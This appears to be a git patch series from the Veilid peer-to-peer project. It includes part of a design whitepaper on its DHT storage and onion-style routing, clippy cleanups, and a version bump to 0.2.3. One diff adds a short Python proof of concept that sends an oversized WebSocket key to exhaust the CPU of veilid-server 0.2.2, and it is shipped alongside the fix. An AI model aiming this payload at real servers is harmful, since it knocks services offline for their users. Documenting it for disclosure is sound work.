Data Storage + +The bottom-most level of Veilid is a network of peers communicating to one another over the internet. Peers send each other messages (remote procedure calls) about the data being stored on the network, and also messages about the network itself. For instance, one peer might ask another for some file, or it might ask for info about what other peers exist in the network. + +The data stored in the network is segmented into two kinds of data: file-like data, which typically is large, and textual data, which typically is small. Each kind of data is stored in its own subsystem specifically chosen to optimize for that kind of data. + +### Block Store + +File-like content is stored in a content-addressable block store. Each block is just some arbitrary blob of data (for instance, a JPEG or an MP4) of whatever size. The hash of that block acts as the unique identifier for the block, and can be used by peers to request particular blocks. Technically, textual data can be stored as a block as well, and this is expected to be done when the textual data is thought of as a document or file of some sort. + +### Key-Value Store + +Smaller, more ephemeral textual content generally, however, is stored in a key-value-store (KV store). Things like status updates, blog posts, user bios, etc. are all thought of as being suited for storage in this part of the data store. KV store data is not simply "on the Veilid network", but also owned/controlled by users, and identified by an arbitrary name chosen by the owner the data. Any group of users can add data, but can only change the data they've added. + +For instance, we might talk about Boone's bio vs. Boone's blogpost titled "Hi, I'm Boone!", which are two things owned by the same user but with different identifiers, or on Boone's bio vs. Marquette's bio, which are two things owned by distinct users but with the same identifier. + +KV store data is also stateful, so that updates to it can be made. Boone's bio, for instance, would not be fixed in time, but rather is likely to vary over time as he changes jobs, picks up new hobbies, etc. Statefulness, together with arbitrary user-chosen identifiers instead of content hashes, means that we can talk about "Boone's Bio" as an abstract thing, and subscribe to updates to it. + +### Structuring Data + +The combination of block storage and key-value storage together makes it possible to have higher-level concepts as well. A song, for instance, might be represented in two places in Veilid: the block store would hold the raw data, while the KV store would store a representation of the idea of the song. Maybe that would consist of a JSON object with metadata about the song, like the title, composer, date, encoding information, etc. as well as the ID of the block store data. We can then also store different _versions_ of that JSON data, as the piece is updated, upsampled, remastered, or whatever, each one pointing to a different block in the block store. It's still "the same song", at a conceptual level, so it has the same identifier in the KV store, but the raw bits associated with each version differ. + +Another example of this, but with even more tenuous connection between the block store data, is the notion of a profile picture. "Marquette's Profile Picture" is a really abstracted notion, and precisely which bits it corresponds to can vary wildly over time, not just being different versions of the picture but completely different pictures entirely. Maybe one day it's a photo of Marquette and the next day it's a photo of a flower. + +Social media offers many examples of these concepts. Friends lists, block lists, post indexes, favorites. These are all stateful notions, in a sense: a stable reference to a thing, but the precise content of the thing changes over time. These are exactly what we would put in the KV store, as opposed to in the block store, even if this data makes reference to content in the block store. + +### Peer and User Identity + +Two notions of identity are at play in the above network: peer identity and user identity. Peer identity is simple enough: each peer has a cryptographic key pair that it uses to communicate securely with other peers, both through traditional encrypted communication, and also through the various encrypted routes. Peer identity is just the identity of the particular instance of the Veilid software running on a computer. + +User identity is a slightly richer notion. Users, that is to say, _people_, will want to access the Veilid network in a way that has a consistent identity across devices and apps. But since Veilid doesn't have servers in any traditional sense, we can't have a normal notion of "account". Doing so would also introduce points of centralization, which federated systems have shown to be a source of trouble. Many Mastodon users have found themselves in a tricky situation when their instance sysadmins burned out and suddenly shut down the instance without enough warning. + +To avoid this re-centralization of identity, we use cryptographic identity for users as well. The user's key pair is used to sign and encrypt their content as needed for publication to the data store. A user is said to be "logged in" to a client app whenever that app has a copy of their private key. When logged in a client app act like any other of the user's client apps, able to decrypt and encrypt content, sign messages, and so forth. Keys can be added to new apps to sign in on them, allowing the user to have any number of clients they want, on any number of devices they want. + +* * * + +## On The Ground + +The bird's eye view of things makes it possible to hold it all in mind at once, but leaves out lots of information about implementation choice. It's now time to come down to earth and get our hands dirty. In principl, this should be enough information to implement a system very much like Veilid, with the exception perhaps of the specific details of the APIs and data formats. This section won't have code, it's not documentation of the codebase, but rather is intended to form the meat of a whitepaper. + +### Peer Network, Revisited + +First, let's look at the peer network, since its structure forms the basis for the remainder of the data storage approach. Veilid's peer network is similar to other peer-to-peer systems in that it's overlaid on top of other protocols. Veilid tries to be somewhat protocol-agnostic, however, and currently is designed to use TCP, UDP, WebSockets, and WebRTC, as well as various methods of traversing NATs so that Veilid peers can be smartphones, personal computers on hostile ISPs, etc. To facilitate this, peers are identified not by some network identity like an IP address, but instead by peer-chosen cryptographic key-pairs. Each peer also advertises a variety of options for how to communicate with it, called dial info, and when one peer wants to talk to another, it gets the dial info for that peer from the network and then uses it to communicate. + +When a peer first connects to Veilid, it does so by contacting bootstrap peers, which have simple IP address dial info that is guaranteed to be stable by the maintainers of the network. These bootstrap peers are the first entries in the peer's routing table -- an address book of sorts, which it uses to figure out how to talk to a peer. The routing table consists of a mapping from peer public keys to prioritized choices for dial info. To populate the routing table, the peer asks other peers what its neighbors are in the network. The notion of neighbor here is defined by a similarity metric on peer IDs, in particular an XOR metric like many DHTs use. Over the course of interacting with the network, the peer will keep dial info up to date when it detects changes. It may also add dial info for peers it discovers along the way, depending on the peer ID. + +To talk to a specific peer, its dial info is looked up in the routing table. If there is dial info present, then the options are attempted in order of the priority specified in the routing table. Otherwise, the peer has to request the dial info from the network, so it looks through its routing table to find the peer who's ID is nearest the target peer according to the XOR metric, and sends it an RPC call with a procedure named `find_node`. Given any particular peer ID, the receiver of a `find_node` call returns dial info for the peers in its routing table that are nearest the given ID. This gets the peer closer to its destination, at least in the direction of the other peer it asked. If the desired peer's information was in the result of the call, then it's done, otherwise it calls `find_node` again to get closer. It iterates in this way, possibly trying alternate peers, as necessary, in a nearest-first fashion until it either finds the desired peer's dial info, has exhausted the entire network, or gives up. + +### User Privacy + +In order to ensure that users can participate in Veilid with some amount of privacy, we need to address the fact that being connected to Veilid entails communicating with other peers, and therefore sharing IP addresses. A user's peer will therefore be frequently issuing RPCs in a way that directly associates the user's identifying information with their peer's ID. Veilid provides privacy by allowing the use of an RPC forwarding mechanism that uses cryptography to similar to onion routing in order to hide the path that a message takes between its actual originating peer and its actual destination peer, by hopping between additional intermediate peers. + +The specific approach that Veilid takes to privacy is two sided: privacy of the sender of a message, and privacy of the receiver of a message. Either or both sides can want privacy or opt out of privacy. To achieve sender privacy, Veilid use something called a Safety Route: a sequence of any number of peers, chosen by the sender, who will forward messages. The sequence of addresses is put into a nesting doll of encryption, so that each hop can see the previous and next hops, while no hop can see the whole route. This is similar to a Tor route, except only the addresses are encrypted for each hop. The route can be chosen at random for each message being sent. + +Receiver privacy is similar, in that we have a nesting doll of encrypted peer addresses, except because it's for incoming messages, the various addresses have to be shared ahead of time. We call such things Private Routes, and they are published to the key-value store as part of a user's public data. For full privacy on both ends, a Private Route will be used as the final destination of a Safety Route, and the total route is the composition of the two, so that neither the sender nor receiver knows the IP address of the other. + +Each peer in the hop, including the initial peer, sends a `route` RPC to the next peer in the hop, with the remainder of the full route (safety + private), forwarding the data along. The final peer decrypts the remainder of the route, which is now empty, and then can inspect the forwarded RPC to act on it. The RPC itself doesn't need to be encrypted, but it's good practice to encrypt it for the final receiving peer so that the intermediate peers can't de-anonymize the sending user from traffic analysis. + +Note that the routes are _user_ oriented. They should be understood as a way to talk to a particular _user's_ peer, wherever that may be. Each peer of course has to know about the actual IP addresses of the peers, otherwise it couldn't communicate, but safety and private routes make it hard to associate the _user's_ identity with their _peer's_ identity. You know that the user is somewhere on the network, but you don't know which IP address is theirs, even if you do in fact have their peer's dial info stored in the routing table. + +### Block Store Revisited + +As mentioned in the Bird's Eye View, the block store is intended to store content-addressed blocks of data. Like many other peer-to-peer systems for storing data, Veilid uses a distributed hash table as the core of the block store. The block store DHT has as keys BLAKE3 hashes of block content. For each key the DHT associates a list of peer IDs for peers that have declared to the network that they can supply the block. + +If a peer wishes to supply the block, it makes a `supply_block` RPC call to the network with the id of the block. The receiver of the call can then store the information that the peer supplies the designated block if it wants, and also can return other peers nearer to the block's ID that should also store the information. Peers determine whether or not to store this information based on how close it is to the block's ID. It may also choose to cache the block, possibly also declaring itself to be a supplier as well. + +Supplier records are potentially brittle because peers leave the network, making their information unavailable. Because of this, any peer that wishes to supply a block will periodically send `supply_block` messages to refresh the records. Peers that are caching blocks determine when to stop caching based on how popular a block is, how much space or bandwidth it can spare, etc. + +To retrieve a block that has been stored in the blockstore, a peer makes a `find_block` RPC. The receiver will then either return the block, or possibly return a list of suppliers for the block that it knows about, or return a list of peers that are closer to the block. + +Unlike BitTorrent, blocks are not inherently part of a larger file. A block can be just a single file, and often that will be the case for small files. Large files can be broken up into smaller blocks, however, and then an additional block with a list of those component blocks can be stored in the block store. Veilid itself, however, would treat this like any other block, and there are no built-in mechanisms for determining which blocks to download first, which to share first, etc. like there are in BitTorrent. These features would be dependent on the peer software's implementation and could vary. Different clients will also be able to decide how they want to download such "compound" blocks -- automatically, via a prompt to the user, or something else. + +The mechanism of having blocks that refer to other blocks also enables IPFS-style DAGs of hierarchical data as one mode of use of the block store, allowing entire directory structures to be stored, not just files. However, as with sub-file blocks, this is not a built-in part of Veilid but rather a mode of use, and how they're downloaded and presented to the user is up to the client program. + +### Key-Value Store, Revisited + +The key-value store is a DHT similar to the block store. However, rather than using content hashes as keys, the KV store uses user IDs as keys (note: _not_ peer IDs). At a given key, the KV store has a hierarchical key-value map that associates in-principle arbitrary strings with values, which themselves can be numbers, strings, datetimes, or other key-value maps. The specific value stored in at a user's ID is versioned, so that particular schemas of subkeys and values can be defined and handled appropriately by different versions of clients. + +When a user wishes to store data under their key, they send a `set_value` RPC to the peer's whose IDs are closest by the XOR metric to their own user ID. The value provided to the RPC is a signed value, so that the network can ensure only the designated user is storing data at their key. The peers that receive the RPC may return other peer IDs closer to the key, and so on, similar to how the block store handles `supply_block` calls. Eventually, some peers will store the data. The user's own peer should periodically refresh the stored data, to ensure that it persists. It's also good practice for the user's own peer to cache the data, so that client programs can use the user's own peer as a canonical source of the most-up-to-date value, but doing so would require a route to be published that lets other peers send the user's own peer messages. A private route suffices for this. + +Retrieval is similar to block store retrieval. The desired key is provided to a `get_value` call, which may return the value, or a list of other peers that are closer to the key. Eventually the signed data is returned, and the recipient can verify that it does indeed belong to the specified user by checking the signature. + +When storing and retrieving, the key provided to the RPCs is not required to be only the user's ID. It can include a list of strings which act as a path into the data stored at the user's key, targetting it specifically for update or retrieval. This lets the network minimize data transfer, because only the relevant information has to move around. + +The specific content of the user's keys is determined partially by the protocol and partially by the client software. Early versions of the protocol use a DHT schema version that defines a fairly simple social network oriented schema. Later versions will enable a more generic schema so that client plugins can store and display richer information. + +The stateful nature of the key-value store means that values will change over time, and actions may need to be taken in response to those changes. A polling mechanism could be used to periodically check for new values, but this will lead to lots of unnecessary traffic in the network, so to avoid this, Veilid allows peers to send `watch_value` RPCs, with a DHT key (with subkeys) as its argument. The receiver would then store a record that the sender of the RPC wants to be alerted when the receiver gets subsequent `set_value` calls, at which time the receiver sends the sending peer a `value_changed` RPC to push the new value. As with other RPC calls, `watch_value` needs to be periodically re-sent to refresh the subscription to the value. Additionally, also as with other calls, `watch_value` may not succeed on the receiver, which instead might return other peers closer to the value, or might return other peers that have successfully subscribed to the value and thus might act as a source for it. + +TODO How to avoid replay updates?? maybe via a sequence number in the signed patch? + +## Appendix 1: Dial Info and Signaling + +## Appendix 2: RPC Listing diff --git a/doc/security/poc/large-websocket-key-v0.2.2.py b/doc/security/poc/large-websocket-key-v0.2.2.py new file mode 100644 index 00000000..eff0e70b --- /dev/null +++ b/doc/security/poc/large-websocket-key-v0.2.2.py @@ -0,0 +1,7 @@ +# When pointed at veilid-server 0.2.2 or earlier, this will cause 100% CPU utilization + +import socket +s = socket.socket() +s.connect(('127.0.0.1',5150)) +s.send(f"GET /ws HTTP/1.1\r\nSec-WebSocket-Version: 13\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: {'A'*2000000}\r\n\r\n".encode()) +s.close() From 6a65b9adeeb53aabe0941afcb28cc84c65390e84 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 14:04:33 -0400 Subject: [PATCH 50/86] changelog --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 442ae308..c982f2bb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,7 @@ +**Changed in Veilid 0.2.3** +- Security fix for WS denial of service +- Support for latest Rust 1.72 + **Changed in Veilid 0.2.2** - Capnproto 1.0.1 + Protobuf 24.3 - DHT set/get correctness fixes From 8a1260ed48022f08c78c9b4a36392d17a3d5c312 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 14:14:39 -0400 Subject: [PATCH 51/86] clippy --fix --- veilid-cli/src/client_api_connection.rs | 1 - veilid-cli/src/command_processor.rs | 12 +++++------- veilid-cli/src/main.rs | 2 +- veilid-cli/src/peers_table_view.rs | 2 +- veilid-cli/src/settings.rs | 4 ++-- veilid-cli/src/ui.rs | 25 +++++++++++------------- veilid-core/build.rs | 22 +++++++++------------ veilid-flutter/rust/src/dart_ffi.rs | 26 ++++++++++++------------- veilid-tools/src/assembly_buffer.rs | 12 +++++------- veilid-tools/src/split_url.rs | 2 +- veilid-tools/src/tools.rs | 8 +++----- 11 files changed, 51 insertions(+), 65 deletions(-) diff --git a/veilid-cli/src/client_api_connection.rs b/veilid-cli/src/client_api_connection.rs index 24923c58..cb39e5de 100644 --- a/veilid-cli/src/client_api_connection.rs +++ b/veilid-cli/src/client_api_connection.rs @@ -76,7 +76,6 @@ impl ClientApiConnection { }; if let Err(e) = reply_channel.send_async(response).await { error!("failed to process reply: {}", e); - return; } } diff --git a/veilid-cli/src/command_processor.rs b/veilid-cli/src/command_processor.rs index 4eb4337f..a9fe9168 100644 --- a/veilid-cli/src/command_processor.rs +++ b/veilid-cli/src/command_processor.rs @@ -248,7 +248,6 @@ Server Debug Commands: _ => { ui.add_node_event(Level::Error, format!("unknown flag: {}", flag)); ui.send_callback(callback); - return; } } }); @@ -271,7 +270,6 @@ Server Debug Commands: _ => { ui.add_node_event(Level::Error, format!("unknown flag: {}", flag)); ui.send_callback(callback); - return; } } }); @@ -399,12 +397,12 @@ Server Debug Commands: } pub fn update_route(&self, route: &json::JsonValue) { let mut out = String::new(); - if route["dead_routes"].len() != 0 { + if !route["dead_routes"].is_empty() { out.push_str(&format!("Dead routes: {:?}", route["dead_routes"])); } - if route["dead_routes"].len() != 0 { + if !route["dead_routes"].is_empty() { if !out.is_empty() { - out.push_str("\n"); + out.push('\n'); } out.push_str(&format!( "Dead remote routes: {:?}", @@ -460,7 +458,7 @@ Server Debug Commands: }; let strmsg = if printable { - format!("\"{}\"", String::from_utf8_lossy(&message).to_string()) + format!("\"{}\"", String::from_utf8_lossy(message)) } else { hex::encode(message) }; @@ -498,7 +496,7 @@ Server Debug Commands: }; let strmsg = if printable { - format!("\"{}\"", String::from_utf8_lossy(&message).to_string()) + format!("\"{}\"", String::from_utf8_lossy(message)) } else { hex::encode(message) }; diff --git a/veilid-cli/src/main.rs b/veilid-cli/src/main.rs index 11f0ebde..9345daaa 100644 --- a/veilid-cli/src/main.rs +++ b/veilid-cli/src/main.rs @@ -58,7 +58,7 @@ fn main() -> Result<(), String> { None }; - let mut settings = settings::Settings::new(settings_path.as_ref().map(|x| x.as_os_str())) + let mut settings = settings::Settings::new(settings_path.as_deref()) .map_err(|e| format!("configuration is invalid: {}", e))?; // Set config from command line diff --git a/veilid-cli/src/peers_table_view.rs b/veilid-cli/src/peers_table_view.rs index 6ba9639a..03d66795 100644 --- a/veilid-cli/src/peers_table_view.rs +++ b/veilid-cli/src/peers_table_view.rs @@ -58,7 +58,7 @@ impl TableViewItem for json::JsonValue { PeerTableColumn::NodeId => self["node_ids"][0].to_string(), PeerTableColumn::Address => self["peer_address"].to_string(), PeerTableColumn::LatencyAvg => { - format!("{}", format_ts(&self["peer_stats"]["latency"]["average"])) + format_ts(&self["peer_stats"]["latency"]["average"]).to_string() } PeerTableColumn::TransferDownAvg => { format_bps(&self["peer_stats"]["transfer"]["down"]["average"]) diff --git a/veilid-cli/src/settings.rs b/veilid-cli/src/settings.rs index 5cc9268f..73ecb29d 100644 --- a/veilid-cli/src/settings.rs +++ b/veilid-cli/src/settings.rs @@ -6,7 +6,7 @@ use std::net::{SocketAddr, ToSocketAddrs}; use std::path::{Path, PathBuf}; pub fn load_default_config() -> Result { - let default_config = r###"--- + let default_config = r#"--- address: "localhost:5959" autoconnect: true autoreconnect: true @@ -44,7 +44,7 @@ interface: info : "white" warn : "light yellow" error : "light red" - "### + "# .replace( "%LOGGING_FILE_DIRECTORY%", &Settings::get_default_log_directory().to_string_lossy(), diff --git a/veilid-cli/src/ui.rs b/veilid-cli/src/ui.rs index 24fcc803..c1e4642d 100644 --- a/veilid-cli/src/ui.rs +++ b/veilid-cli/src/ui.rs @@ -469,7 +469,7 @@ impl UI { let color = *Self::inner_mut(s).log_colors.get(&Level::Warn).unwrap(); cursive_flexi_logger_view::parse_lines_to_log( color.into(), - format!(">> Could not copy to clipboard"), + ">> Could not copy to clipboard".to_string(), ); } } else { @@ -482,15 +482,12 @@ impl UI { ) .as_bytes(), ) - .is_ok() - { - if std::io::stdout().flush().is_ok() { - let color = *Self::inner_mut(s).log_colors.get(&Level::Info).unwrap(); - cursive_flexi_logger_view::parse_lines_to_log( - color.into(), - format!(">> Copied: {}", text.as_ref()), - ); - } + .is_ok() && std::io::stdout().flush().is_ok() { + let color = *Self::inner_mut(s).log_colors.get(&Level::Info).unwrap(); + cursive_flexi_logger_view::parse_lines_to_log( + color.into(), + format!(">> Copied: {}", text.as_ref()), + ); } } } @@ -523,7 +520,7 @@ impl UI { let mut reset: bool = false; match state { ConnectionState::Disconnected => { - if inner.connection_dialog_state == None + if inner.connection_dialog_state.is_none() || inner .connection_dialog_state .as_ref() @@ -541,7 +538,7 @@ impl UI { } } ConnectionState::Connected(_, _) => { - if inner.connection_dialog_state != None + if inner.connection_dialog_state.is_some() && !inner .connection_dialog_state .as_ref() @@ -552,7 +549,7 @@ impl UI { } } ConnectionState::Retrying(_, _) => { - if inner.connection_dialog_state == None + if inner.connection_dialog_state.is_none() || inner .connection_dialog_state .as_ref() @@ -1020,7 +1017,7 @@ impl UISender { for l in 0..node_ids.len() { let nid = &node_ids[l]; if !node_id_str.is_empty() { - node_id_str.push_str(" "); + node_id_str.push(' '); } node_id_str.push_str(nid.to_string().as_ref()); } diff --git a/veilid-core/build.rs b/veilid-core/build.rs index 97d82650..c7ebbf9e 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -3,7 +3,7 @@ use std::process::{Command, Stdio}; fn search_file, P: AsRef>(start: T, name: P) -> Option { let start_path = PathBuf::from(start.as_ref()).canonicalize().ok(); - let mut path = start_path.as_ref().map(|x| x.as_path()); + let mut path = start_path.as_deref(); while let Some(some_path) = path { let file_path = some_path.join(name.as_ref()); if file_path.exists() { @@ -18,10 +18,8 @@ fn get_desired_capnp_version_string() -> String { let capnp_path = search_file(env!("CARGO_MANIFEST_DIR"), ".capnp_version") .expect("should find .capnp_version file"); std::fs::read_to_string(&capnp_path) - .expect(&format!( - "can't read .capnp_version file here: {:?}", - capnp_path - )) + .unwrap_or_else(|_| panic!("can't read .capnp_version file here: {:?}", + capnp_path)) .trim() .to_owned() } @@ -47,10 +45,8 @@ fn get_desired_protoc_version_string() -> String { let protoc_path = search_file(env!("CARGO_MANIFEST_DIR"), ".protoc_version") .expect("should find .protoc_version file"); std::fs::read_to_string(&protoc_path) - .expect(&format!( - "can't read .protoc_version file here: {:?}", - protoc_path - )) + .unwrap_or_else(|_| panic!("can't read .protoc_version file here: {:?}", + protoc_path)) .trim() .to_owned() } @@ -80,10 +76,10 @@ fn main() { // Check capnp version let desired_capnp_major_version = - usize::from_str_radix(desired_capnp_version_string.split_once(".").unwrap().0, 10) + usize::from_str_radix(desired_capnp_version_string.split_once('.').unwrap().0, 10) .expect("should be valid int"); - if usize::from_str_radix(capnp_version_string.split_once(".").unwrap().0, 10) + if usize::from_str_radix(capnp_version_string.split_once('.').unwrap().0, 10) .expect("should be valid int") != desired_capnp_major_version { @@ -100,9 +96,9 @@ fn main() { // Check protoc version let desired_protoc_major_version = - usize::from_str_radix(desired_protoc_version_string.split_once(".").unwrap().0, 10) + usize::from_str_radix(desired_protoc_version_string.split_once('.').unwrap().0, 10) .expect("should be valid int"); - if usize::from_str_radix(protoc_version_string.split_once(".").unwrap().0, 10) + if usize::from_str_radix(protoc_version_string.split_once('.').unwrap().0, 10) .expect("should be valid int") < desired_protoc_major_version { diff --git a/veilid-flutter/rust/src/dart_ffi.rs b/veilid-flutter/rust/src/dart_ffi.rs index 319d4e02..812f8ab9 100644 --- a/veilid-flutter/rust/src/dart_ffi.rs +++ b/veilid-flutter/rust/src/dart_ffi.rs @@ -358,7 +358,7 @@ pub extern "C" fn routing_context(port: i64) { let veilid_api = get_veilid_api().await?; let routing_context = veilid_api.routing_context(); let mut rc = ROUTING_CONTEXTS.lock(); - let new_id = add_routing_context(&mut *rc, routing_context); + let new_id = add_routing_context(&mut rc, routing_context); APIResult::Ok(new_id) }); } @@ -369,7 +369,7 @@ pub extern "C" fn release_routing_context(id: u32) -> i32 { if rc.remove(&id).is_none() { return 0; } - return 1; + 1 } #[no_mangle] @@ -381,8 +381,8 @@ pub extern "C" fn routing_context_with_privacy(id: u32) -> u32 { let Ok(routing_context) = routing_context.clone().with_privacy() else { return 0; }; - let new_id = add_routing_context(&mut rc, routing_context); - new_id + + add_routing_context(&mut rc, routing_context) } #[no_mangle] @@ -397,8 +397,8 @@ pub extern "C" fn routing_context_with_custom_privacy(id: u32, safety_selection: let Ok(routing_context) = routing_context.clone().with_custom_privacy(safety_selection) else { return 0; }; - let new_id = add_routing_context(&mut rc, routing_context); - new_id + + add_routing_context(&mut rc, routing_context) } #[no_mangle] @@ -411,8 +411,8 @@ pub extern "C" fn routing_context_with_sequencing(id: u32, sequencing: FfiStr) - return 0; }; let routing_context = routing_context.clone().with_sequencing(sequencing); - let new_id = add_routing_context(&mut rc, routing_context); - new_id + + add_routing_context(&mut rc, routing_context) } @@ -734,7 +734,7 @@ pub extern "C" fn release_table_db(id: u32) -> i32 { if rc.remove(&id).is_none() { return 0; } - return 1; + 1 } #[no_mangle] @@ -757,7 +757,7 @@ pub extern "C" fn table_db_get_column_count(id: u32) -> u32 { let Ok(cc) = table_db.clone().get_column_count() else { return 0; }; - return cc; + cc } #[no_mangle] @@ -794,8 +794,8 @@ pub extern "C" fn table_db_transact(id: u32) -> u32 { return 0; }; let tdbt = table_db.clone().transact(); - let tdbtid = add_table_db_transaction(tdbt); - return tdbtid; + + add_table_db_transaction(tdbt) } #[no_mangle] @@ -804,7 +804,7 @@ pub extern "C" fn release_table_db_transaction(id: u32) -> i32 { if tdbts.remove(&id).is_none() { return 0; } - return 1; + 1 } diff --git a/veilid-tools/src/assembly_buffer.rs b/veilid-tools/src/assembly_buffer.rs index 8154edc8..75ea4143 100644 --- a/veilid-tools/src/assembly_buffer.rs +++ b/veilid-tools/src/assembly_buffer.rs @@ -262,7 +262,7 @@ impl AssemblyBuffer { remote_addr: SocketAddr, ) -> NetworkResult>> { // If we receive a zero length frame, send it - if frame.len() == 0 { + if frame.is_empty() { return NetworkResult::value(Some(frame.to_vec())); } @@ -338,10 +338,8 @@ impl AssemblyBuffer { // If we are returning a message, see if there are any more assemblies for this peer // If not, remove the peer - if out.is_some() { - if peer_messages.assemblies.len() == 0 { - e.remove(); - } + if out.is_some() && peer_messages.assemblies.is_empty() { + e.remove(); } NetworkResult::value(out) } @@ -361,7 +359,7 @@ impl AssemblyBuffer { /// Add framing to chunk to send to the wire fn frame_chunk(chunk: &[u8], offset: usize, message_len: usize, seq: SequenceType) -> Vec { - assert!(chunk.len() > 0); + assert!(!chunk.is_empty()); assert!(message_len <= MAX_LEN); assert!(offset + chunk.len() <= message_len); @@ -403,7 +401,7 @@ impl AssemblyBuffer { } // Do not frame or split anything zero bytes long, just send it - if data.len() == 0 { + if data.is_empty() { return sender(data, remote_addr).await; } diff --git a/veilid-tools/src/split_url.rs b/veilid-tools/src/split_url.rs index 033ffc96..a9e24bb4 100644 --- a/veilid-tools/src/split_url.rs +++ b/veilid-tools/src/split_url.rs @@ -41,7 +41,7 @@ fn must_encode_path(c: u8) -> bool { fn is_valid_scheme>(host: H) -> bool { let mut chars = host.as_ref().chars(); if let Some(ch) = chars.next() { - if !matches!(ch, 'A'..='Z' | 'a'..='z') { + if !ch.is_ascii_alphabetic() { return false; } } else { diff --git a/veilid-tools/src/tools.rs b/veilid-tools/src/tools.rs index 648da9b2..d26f87b1 100644 --- a/veilid-tools/src/tools.rs +++ b/veilid-tools/src/tools.rs @@ -242,10 +242,8 @@ pub fn compatible_unspecified_socket_addr(socket_addr: &SocketAddr) -> SocketAdd pub fn listen_address_to_socket_addrs(listen_address: &str) -> Result, String> { // If no address is specified, but the port is, use ipv4 and ipv6 unspecified // If the address is specified, only use the specified port and fail otherwise - let ip_addrs = vec![ - IpAddr::V4(Ipv4Addr::UNSPECIFIED), - IpAddr::V6(Ipv6Addr::UNSPECIFIED), - ]; + let ip_addrs = [IpAddr::V4(Ipv4Addr::UNSPECIFIED), + IpAddr::V6(Ipv6Addr::UNSPECIFIED)]; Ok(if let Some(portstr) = listen_address.strip_prefix(':') { let port = portstr @@ -354,7 +352,7 @@ pub unsafe fn unaligned_u8_vec_uninit(n_bytes: usize) -> Vec { let ptr = unaligned.as_mut_ptr(); mem::forget(unaligned); - Vec::from_raw_parts(ptr as *mut u8, n_bytes, n_bytes) + Vec::from_raw_parts(ptr, n_bytes, n_bytes) } pub fn debug_backtrace() -> String { From fa13f95a102c2a9856e4180965c3cad609532121 Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Sun, 17 Sep 2023 13:21:57 -0500 Subject: [PATCH 52/86] =?UTF-8?q?Version=20update:=20v0.2.2=20=E2=86=92=20?= =?UTF-8?q?v0.2.3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Security fix for WS denial of service - Support for latest Rust 1.72 --- .bumpversion.cfg | 2 +- Cargo.lock | 18 +++++++++--------- veilid-cli/Cargo.toml | 4 ++-- veilid-core/Cargo.toml | 6 +++--- veilid-flutter/pubspec.yaml | 2 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-python/pyproject.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- veilid-wasm/Cargo.toml | 4 ++-- 10 files changed, 22 insertions(+), 22 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 89f06175..25361f55 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 0.2.2 +current_version = 0.2.3 [bumpversion:file:veilid-server/Cargo.toml] search = name = "veilid-server" diff --git a/Cargo.lock b/Cargo.lock index 74a44c69..d210e639 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -5215,7 +5215,7 @@ checksum = "a9ee584edf237fac328b891dd06c21e7914a1db3762907edc366a13803451fe3" [[package]] name = "veilid-cli" -version = "0.2.2" +version = "0.2.3" dependencies = [ "arboard", "async-std", @@ -5237,7 +5237,7 @@ dependencies = [ "indent", "json", "log", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "serde", "serde_derive", "serial_test", @@ -5251,7 +5251,7 @@ dependencies = [ [[package]] name = "veilid-core" -version = "0.2.2" +version = "0.2.3" dependencies = [ "argon2", "async-io", @@ -5356,7 +5356,7 @@ dependencies = [ [[package]] name = "veilid-flutter" -version = "0.2.2" +version = "0.2.3" dependencies = [ "allo-isolate", "async-std", @@ -5371,7 +5371,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "serde", "serde_json", "tokio", @@ -5408,7 +5408,7 @@ dependencies = [ [[package]] name = "veilid-server" -version = "0.2.2" +version = "0.2.3" dependencies = [ "ansi_term", "async-std", @@ -5431,7 +5431,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "rpassword", "serde", "serde_derive", @@ -5458,7 +5458,7 @@ dependencies = [ [[package]] name = "veilid-tools" -version = "0.2.2" +version = "0.2.3" dependencies = [ "android_logger 0.13.3", "async-lock", @@ -5510,7 +5510,7 @@ dependencies = [ [[package]] name = "veilid-wasm" -version = "0.2.2" +version = "0.2.3" dependencies = [ "cfg-if 1.0.0", "console_error_panic_hook", diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index a60c3f1f..f32e48c9 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-cli" -version = "0.2.2" +version = "0.2.3" # --- authors = ["Veilid Team "] edition = "2021" @@ -54,7 +54,7 @@ flexi_logger = { version = "^0", features = ["use_chrono_for_offset"] } thiserror = "^1" crossbeam-channel = "^0" hex = "^0" -veilid-tools = { version = "0.2.2", path = "../veilid-tools" } +veilid-tools = { version = "0.2.3", path = "../veilid-tools" } json = "^0" stop-token = { version = "^0", default-features = false } diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 4fb77bdd..7778c64c 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-core" -version = "0.2.2" +version = "0.2.3" # --- description = "Core library used to create a Veilid node and operate it as part of an application" authors = ["Veilid Team "] @@ -59,7 +59,7 @@ network-result-extra = ["veilid-tools/network-result-extra"] [dependencies] # Tools -veilid-tools = { version = "0.2.2", path = "../veilid-tools", features = [ +veilid-tools = { version = "0.2.3", path = "../veilid-tools", features = [ "tracing", ], default-features = false } paste = "1.0.14" @@ -181,7 +181,7 @@ socket2 = { 